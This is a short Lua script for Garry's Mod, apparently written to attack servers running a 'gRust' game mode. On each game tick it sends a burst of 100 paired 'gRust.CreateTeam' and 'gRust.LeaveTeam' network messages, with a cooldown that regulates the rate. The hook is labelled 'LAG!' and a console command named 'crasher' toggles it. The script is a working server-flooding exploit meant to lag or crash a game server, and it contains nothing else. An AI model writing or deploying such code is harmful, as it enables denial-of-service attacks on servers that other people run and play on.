local enabled = true 

local tickrate = math.floor( 1 / engine.TickInterval() )
local swap = false
local writtenTicks = 0 
local coolingTicks = 0 

local function Tick()
    if not enabled then
        return 
    end

    if writtenTicks > tickrate then
        swap = true 

        writtenTicks = 0
    end

    coolingTicks = swap and coolingTicks + 1 or 0

    if coolingTicks > tickrate then
        swap = false
    end

    if swap then
        return 
    end

    for i = 1, 100 do
        net.Start( "gRust.CreateTeam", true )
        net.SendToServer()

        net.Start( "gRust.LeaveTeam", true )
        net.SendToServer()
    end

    writtenTicks = writtenTicks + 1
    print( string.format( "Written %i", writtenTicks ) )
end 

hook.Add( "Tick", "LAG!", Tick )

concommand.Add( "crasher", function() 
    enabled = not enabled 
end )